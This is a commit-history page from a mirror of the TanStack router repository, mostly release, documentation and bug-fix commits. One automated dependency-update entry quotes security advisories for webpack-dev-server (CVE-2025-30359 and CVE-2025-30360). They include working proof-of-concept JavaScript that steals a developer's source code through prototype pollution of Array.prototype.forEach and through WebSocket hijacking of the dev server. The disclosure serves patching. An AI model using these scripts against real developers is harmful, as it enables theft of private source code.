0
Fork 0
mirror of https://github.com/TanStack/router.git synced 2026-11-16 19:38:07 +00:00
Commit graph

6,608 commits

Author SHA1 Message Date
autofix-ci[bot]
5893f41aef
ci: apply automated fixes 2025-06-11 17:42:16 +00:00
Harsh Pareek
714c8cf008
docs: Correct createFileRoute import and invocation in Build a Project from Scratch (#4385) 2025-06-11 19:41:11 +02:00
Tanner Linsley
4014a00454 release: v1.121.0 v1.121.0 2025-06-10 21:21:01 +00:00
Manuel Schiller
8b5accb27c
feat: Merge alpha to main (#4365)
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
Co-authored-by: Tanner Linsley <tannerlinsley@users.noreply.github.com>
Co-authored-by: Iha Shin (신의하) <me@xiniha.dev>
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: MoeedDar <moeed.dar@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Saša Šijak <me@ssijak.com>
Co-authored-by: Christopher Horobin <chrishorobin@hotmail.com>
Co-authored-by: Ryan Gillie <gillie.ryan@hotmail.com>
Co-authored-by: Jaga Santagostino <jagasantagostino@gmail.com>
Co-authored-by: Birk Skyum <birk.skyum@pm.me>
Co-authored-by: Yeoh Joer <yeoh.joer@outlook.com>
Co-authored-by: Dane Grant <danecando@gmail.com>
Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
Co-authored-by: Luis Merino <mail@luismerino.name>
Co-authored-by: ThaumRystra <9525416+ThaumRystra@users.noreply.github.com>
Co-authored-by: Adam Hunter <arhunter@gmail.com>
Co-authored-by: Leonardo Montini <lion.48m@gmail.com>
Co-authored-by: Joel Tannas <jtannas@gmail.com>
Co-authored-by: scarf <greenscarf005@gmail.com>
Co-authored-by: Lenz Weber-Tronic <lorenz.weber-tronic@apollographql.com>
Co-authored-by: Iñaki Larramendi <30437204+ilarramendi@users.noreply.github.com>
Co-authored-by: Hiển Đào Vinh <neo.go.vn@gmail.com>
Co-authored-by: Lleyton W Morris <42259073+ViewableGravy@users.noreply.github.com>
Co-authored-by: Lleyton Morris <lmorris@nexigen.digital>
Co-authored-by: Matthew Struble <matt@vevox.io>
Co-authored-by: Matt Anderson <matt@mattdev.ca>
Co-authored-by: Chung <chungwong@users.noreply.github.com>
Co-authored-by: Maxx Coffee <josh@joshcoffee.dev>
Co-authored-by: Joshua Coffee <joshcoffee@gannett.com>
Co-authored-by: Jack Herrington <jherr@pobox.com>
Co-authored-by: Neeraj Dalal <admin@nrjdalal.com>
Co-authored-by: Thomas Marnet <thomas.marnet@gmail.com>
Co-authored-by: Vianney Carel <vcarel@users.noreply.github.com>
Co-authored-by: Vianney Carel <vianney.carel@logfuse.fr>
Co-authored-by: Diego Rincón <97266392+diegoarff@users.noreply.github.com>
Co-authored-by: Erfan Hosseini <43422324+Erfanhosseini98@users.noreply.github.com>
Co-authored-by: IderAghbal <3328396+IderAghbal@users.noreply.github.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Andrew Jefferson <8148776+eastlondoner@users.noreply.github.com>
2025-06-10 23:19:32 +02:00
renovate[bot]
8315a69583
chore(deps): update autofix-ci/action digest to 635ffb0 (#4349)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| autofix-ci/action | action | digest | `551dded` -> `635ffb0` |

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-10 03:04:00 +02:00
Tanner Linsley
6bd2d5a6ce release: v1.120.20 v1.120.20 2025-06-08 21:48:52 +00:00
Andrew Jefferson
4b6b2c119a
fix: Slight simplification to llm rule generation now vibe-tools supports esm properly (#4347) 2025-06-08 23:40:42 +02:00
Tanner Linsley
b0cea522e2 release: v1.120.19 v1.120.19 2025-06-08 19:52:14 +00:00
Manuel Schiller
1c540355fa
fix: do not start a view transition when invalidating (#4345) 2025-06-08 21:50:54 +02:00
Tanner Linsley
b3682d471d release: v1.120.18 v1.120.18 2025-06-06 23:05:46 +00:00
Jack Herrington
760fffe730 fix: Small comment text change to bump version 2025-06-06 15:57:02 -07:00
Tanner Linsley
37e8887930 release: v1.120.17 v1.120.17 2025-06-06 22:41:23 +00:00
Jack Herrington
8a2eb21255 fix: RELEASE_ALL 2025-06-06 15:39:54 -07:00
Jack Herrington
be923d9ad1 fix: bumping version 2025-06-06 15:29:33 -07:00
renovate[bot]
27255c6606
chore(deps): update dependency webpack-dev-server to v5.2.1 [security] (#4328)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[webpack-dev-server](https://redirect.github.com/webpack/webpack-dev-server)
| [`5.2.0` ->
`5.2.1`](https://renovatebot.com/diffs/npm/webpack-dev-server/5.2.0/5.2.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/webpack-dev-server/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack-dev-server/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack-dev-server/5.2.0/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack-dev-server/5.2.0/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-30359](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v)

### Summary
Source code may be stolen when you access a malicious web site.

### Details
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. Combined with prototype pollution, the attacker can get a
reference to the webpack runtime variables.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.

### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18426585/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools
console.


![image](https://redirect.github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)

The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)
```

This script uses the function generated by
[`renderRequire`](3919c844ec/lib/javascript/JavascriptModulesPlugin.js (L1383)).
```js
    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }
```
Especially, it uses the fact that `Array::forEach` is called for
`__webpack_require__.i` and `execOptions` contains
`__webpack_require__`.
It uses prototype pollution against `Array::forEach` to extract
`__webpack_require__` reference.

### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and output path for the entrypoint script.

<details>
<summary>Old content</summary>

### Summary
Source code may be stolen when you use [`output.iife:
false`](https://webpack.js.org/configuration/output/#outputiife) and
access a malicious web site.

### Details
When `output.iife: false` is set, some global variables for the webpack
runtime are declared on the `window` object (e.g.
`__webpack_modules__`).
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. By running that, the webpack runtime variables will be
declared on the `window` object.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.

I pointed out `output.iife: false`, but if there are other options that
makes the webpack runtime variables to be declared on the `window`
object, the same will apply for those cases.

### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18409777/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`
5. Open the devtools console.
6. You can see the content of `src/index.js` and other scripts loaded.


![image](https://redirect.github.com/user-attachments/assets/87801607-57bb-4656-bc0d-2bfbe207f436)

The script in the POC site is:
```js
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)
```

### Impact
This vulnerability can result in the source code to be stolen for users
that has `output.iife: false` option set and uses a predictable port and
output path for the entrypoint script.

</details>

####
[CVE-2025-30360](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h)

### Summary
Source code may be stolen when you access a malicious web site with
non-Chromium based browser.

### Details
The `Origin` header is checked to prevent Cross-site WebSocket hijacking
from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address `Origin` headers.

55220a800b/lib/Server.js (L3113-L3127)
This allows websites that are served on IP addresses to connect
WebSocket.
By using the same method described in [the
article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages)
linked from CVE-2018-14732, the attacker get the source code.

related commit:
72efaab833
(note that `checkHost` function was only used for Host header to prevent
DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based
browsers) users due to [the non-HTTPS private access blocking
feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).

### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18418233/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main`
with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit `src/index.js` in the extracted directory
6. You can see the content of `src/index.js`


![image](https://redirect.github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)

The script in the POC site is:
```js
window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}
```

### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and uses a non-Chromium based browser.

---

### Release Notes

<details>
<summary>webpack/webpack-dev-server (webpack-dev-server)</summary>

###
[`v5.2.1`](https://redirect.github.com/webpack/webpack-dev-server/blob/HEAD/CHANGELOG.md#521-2025-03-26)

[Compare
Source](https://redirect.github.com/webpack/webpack-dev-server/compare/v5.2.0...v5.2.1)

##### Security

- cross-origin requests are not allowed unless allowed by
`Access-Control-Allow-Origin` header
- requests with an IP addresses in the `Origin` header are not allowed
to connect to WebSocket server unless configured by `allowedHosts` or it
different from the `Host` header

The above changes may make the dev server not work if you relied on such
behavior, but unfortunately they carry security risks, so they were
considered as fixes.

##### Bug Fixes

- prevent overlay for errors caught by React error boundaries
([#&#8203;5431](https://redirect.github.com/webpack/webpack-dev-server/issues/5431))
([8c1abc9](8c1abc903a))
- take the first network found instead of the last one, this restores
the same behavior as 5.0.4
([#&#8203;5411](https://redirect.github.com/webpack/webpack-dev-server/issues/5411))
([ffd0b86](ffd0b86b79))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-06 09:22:49 +00:00
Jack Herrington
01b4f00cd1
fix: generating CJS directly for vibe-rules (#4329) 2025-06-06 01:44:02 +02:00
Tanner Linsley
81de1f9b0a release: v1.120.16 v1.120.16 2025-06-05 22:08:14 +00:00
Jack Herrington
eedbbba8c8
fix: fixing vibe-rules generation to support CJS exports as well (#4327) 2025-06-06 00:06:01 +02:00
IderAghbal
192ee6246c
fix: export OptionalFetcher and RequiredFetcher types (#4297)
I hit a similar issue to #4001 (ts(2742)) but on pnpm, which requires
exporting the types all the way to the module that gets directly
imported by the application according to
https://github.com/microsoft/TypeScript/issues/47663#issuecomment-1519138189.
This fix resolves this issue.
2025-06-04 18:25:15 +02:00
Erfan Hosseini
d1ed4e1c70
docs: Update preloading.md (#4310) 2025-06-03 21:09:06 +02:00
Diego Rincón
9db424fb5b
docs(router): fix path param name in "data mutation" guide (#4302) 2025-06-03 15:08:01 +12:00
Tanner Linsley
6110bbfd8d release: v1.120.15 v1.120.15 2025-06-03 02:49:07 +00:00
Vianney Carel
492b666cc7
fix(router-core): double decoding in qss (#4300)
Co-authored-by: Vianney Carel <vianney.carel@logfuse.fr>
2025-06-03 14:42:17 +12:00
Tanner Linsley
894274cd39 release: v1.120.14 v1.120.14 2025-06-03 02:38:31 +00:00
Manuel Schiller
b84e5c77bc
fix: make route HMR handling robust against route deletion (#4292) 2025-06-01 18:15:26 +02:00
Tanner Linsley
c0a6050b89 release: v1.120.13 v1.120.13 2025-05-30 15:24:43 +00:00
Thomas Marnet
3f858cb268
fix: scroll to top selectors function (#4281) 2025-05-30 16:49:42 +02:00
Neeraj Dalal
18e24a74a5
docs(start): add project structure to next.js migration guide (#4280) 2025-05-30 23:00:45 +12:00
Neeraj Dalal
dc1d7b9137
docs(start): fix typos in next migration guide (#4276) 2025-05-30 16:12:21 +12:00
Neeraj Dalal
a5208e48b6
docs(start): add migration guide from Next.js (#4260)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-05-30 13:20:46 +12:00
Tanner Linsley
d91e63a23d release: v1.120.12 v1.120.12 2025-05-29 19:30:33 +00:00
Jack Herrington
000b4f385a
chore: support vibe-rules in react-router (#4263)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-29 21:25:27 +02:00
Maxx Coffee
fdf31ff7c3
fix: Fix devtools when using shadowdom (#4212)
Co-authored-by: Joshua Coffee <joshcoffee@gannett.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-29 21:24:47 +02:00
Chung
1f34687713
docs: Update code-splitting.md (#4267)
Fix code-based splitting example.
Change file name from `// src/posts.tsx` to `// src/posts.lazy.tsx`
2025-05-29 08:20:59 +02:00
Matt Anderson
64eb2c1425
docs: Update RouteOptionsType doc to reflect correct Loader opts (#4265) 2025-05-28 22:35:40 +02:00
Tanner Linsley
52f06b46a0 release: v1.120.11 v1.120.11 2025-05-26 22:30:22 +00:00
Matthew Struble
dca754ef8b
fix(react-router): fix custom link type ref inference (#4121)
Custom links created by `createLink` would incorrectly infer `ref`
values for non-intrinsic components (such as those with their own `ref`
prop like the [documented
example](https://tanstack.com/router/latest/docs/framework/react/guide/custom-link#basic-example)),
which would result in the ref being "double-wrapped". That is:

Before:
```typescript
{
  // Effective LinkComponentReactProps<TComp>
  // ...
  ref?: React.Ref<React.Ref<HTMLAnchorElement> | undefined> | undefined
  // notice the ref has been "ref'ed" twice
}
```

After fix:
```typescript
{
  // Effective LinkComponentReactProps<TComp>
  // ...
  ref?: React.Ref<HTMLAnchorElement> | undefined>
}
```

This patch, the equivilant applied directly to `link.d.ts` via `yarn
patch`, has been our workaround and it appears to work well:
<details>
<summary>@tanstack-react-router-npm-1.120.3-f6c72d7c75.patch</summary>

```patch
diff --git a/dist/esm/link.d.ts b/dist/esm/link.d.ts
index f7a4dfc2678f3669ee48b97c22e4c69d2f3ff195..be0adda3bf4302466c3c4b4d73ff6c78474a237f 100644
--- a/dist/esm/link.d.ts
+++ b/dist/esm/link.d.ts
@@ -4,9 +4,9 @@ import { ValidateLinkOptions, ValidateLinkOptionsArray } from './typePrimitives.
 import * as React from 'react';
 export declare function useLinkProps<TRouter extends AnyRouter = RegisteredRouter, const TFrom extends string = string, const TTo extends string | undefined = undefined, const TMaskFrom extends string = TFrom, const TMaskTo extends string = ''>(options: UseLinkPropsOptions<TRouter, TFrom, TTo, TMaskFrom, TMaskTo>, forwardedRef?: React.ForwardedRef<Element>): React.ComponentPropsWithRef<'a'>;
 type UseLinkReactProps<TComp> = TComp extends keyof React.JSX.IntrinsicElements ? React.JSX.IntrinsicElements[TComp] : React.PropsWithoutRef<TComp extends React.ComponentType<infer TProps> ? TProps : never> & React.RefAttributes<TComp extends React.FC<{
-    ref: infer TRef;
+    ref: React.Ref<infer TRef>;
 }> | React.Component<{
-    ref: infer TRef;
+    ref: React.Ref<infer TRef>;
 }> ? TRef : never>;
 export type UseLinkPropsOptions<TRouter extends AnyRouter = RegisteredRouter, TFrom extends RoutePaths<TRouter['routeTree']> | string = string, TTo extends string | undefined = '.', TMaskFrom extends RoutePaths<TRouter['routeTree']> | string = TFrom, TMaskTo extends string = '.'> = ActiveLinkOptions<'a', TRouter, TFrom, TTo, TMaskFrom, TMaskTo> & UseLinkReactProps<'a'>;
 export type ActiveLinkOptions<TComp = 'a', TRouter extends AnyRouter = RegisteredRouter, TFrom extends string = string, TTo extends string | undefined = '.', TMaskFrom extends string = TFrom, TMaskTo extends string = '.'> = LinkOptions<TRouter, TFrom, TTo, TMaskFrom, TMaskTo> & ActiveLinkOptionProps<TComp>;
```

</details>

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-26 20:20:20 +02:00
Lleyton W Morris
bdea54ddf3
docs(router): add route.tsx in directory vs flat routing guide (#4257)
Co-authored-by: Lleyton Morris <lmorris@nexigen.digital>
2025-05-27 00:03:48 +12:00
Tanner Linsley
790016d141 release: v1.120.10 v1.120.10 2025-05-24 09:16:38 +00:00
Lenz Weber-Tronic
ef01673dc6
fix: handle Symbol properties and non-enumerable properties in replaceEqualDeep (#4237)
Opening this PR for discussion, I'm very open to scope changes.

This PR tackles two problems with `defaultStructuralSharing: true`:

1. symbol properties are not taken into account for "object equality"
and are not copied over when creating a new copy
2. non-enumerable properties are not taken into account for "object
equality" and are not copied over when creating a new copy

Point 1. actually is causing some of our users a headache, see
https://github.com/apollographql/apollo-client/issues/12619 and
https://community.apollographql.com/t/preloadquery-with-tanstack-router-loader/9100
.

Users expect that they're able to pass an object with symbol properties
over from a loader into components, but when having
`defaultStructuralSharing` enabled, from the second object that is
passed over, it creates a copy and strips off symbol properties.
That new object without the expected symbol properties will then crash
our `useReadQuery` hook.

In other words, the first loader call returns
```js
{
    refObject: { toPromise: Function1, [secretSymbol]: ImplementationDetail1 }
}
```
the component receives
```js
{
    refObject: { toPromise: Function1, [secretSymbol]: ImplementationDetail1 }
}
```
and the second loader call returns
```js
{
    refObject: { toPromise: Function2, [secretSymbol]: ImplementationDetail2 }
}
```
but the component receives
```js
{
    refObject: { toPromise: Function2 }
}
```
`toPromise` is a different function, so it goes into the "clone" path,
but skips the `secretSymbol` property.

If we wouldn't have that `toPromise` property on there (and we're
considering removing it!), it would even be worse to debug - users would
always stay on the first `refObject` and never get the second, since
both objects would be considered equal.

On our side, passing these objects from loaders to components is
actually an intended pattern, so this is causing quite a bit of problems
- see this example from our docs (see [Initiating queries outside
React](https://www.apollographql.com/docs/react/data/suspense#initiating-queries-outside-react)):

```ts
import { useLoaderData } from 'react-router-dom';

export function loader() {
  return preloadQuery(GET_DOGS_QUERY);
}

export function RouteComponent() {
  const queryRef = useLoaderData();
  const { data } = useReadQuery(queryRef);

  return (
    // ...
  );
}
```

Problem 2. is purely hypothetical and we haven't encountered it - but it
should probably be handled in some way.

Both of these problems can be handled in two ways:

* take these "special properties" into account for comparisons and copy
them over (my naive approach here would lose the "non-enumerability" of
these properties, more code would be necessary to keep that)
* in `isPlainObject` just return `false` if an object has non-enumerable
or symbol properties. This would opt out of structural sharing for these
objects (which is probably perfectly fine)

I'd be open for either of those solutions, and also for completely
dropping the "non-enumerable" case for simplicity, but I would be very
happy if we could get *something* in to help with symbol properties.
In React Query, these values can be assumed to be serializable JSON, so
the current implementation is perfectly fine, but with client-side
loaders, users can just pass anything, and here it's causing quite the
problem.
Telling our users to situationally turn off structural sharing would be
an educational nightmare.
2025-05-24 11:01:44 +02:00
Tanner Linsley
63c623b169 docs: fix links 2025-05-24 01:37:04 -06:00
Tanner Linsley
0d7dc76b60 release: v1.120.9 v1.120.9 2025-05-23 18:54:28 +00:00
Manuel Schiller
7eba99e328
fix: router.buildLocation use RegisteredRouter (#4242)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-23 20:53:06 +02:00
Tanner Linsley
bd9eb8b3a9 release: v1.120.8 v1.120.8 2025-05-23 17:31:26 +00:00
Manuel Schiller
5663aa601b
fix: proper HMR handling for file routes (#4240)
porting from alpha to main

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-23 19:30:01 +02:00
Tanner Linsley
986fa83e6d release: v1.120.7 v1.120.7 2025-05-22 22:27:14 +00:00
Christopher Horobin
5a8267971d
fix: type errors with skipLibCheck: false (#4233)
fixes #4114
2025-05-23 00:25:53 +02:00
scarf
0d71e044d8
docs(react-router): document migration path for parseParams and stringifyParams (#4216) 2025-05-22 20:08:04 +02:00
autofix-ci[bot]
385c47be5f
ci: apply automated fixes 2025-05-22 18:07:48 +00:00
Joel Tannas
d4321feac1
docs: Fix syntax error in search middleware example (#4223) 2025-05-22 20:06:50 +02:00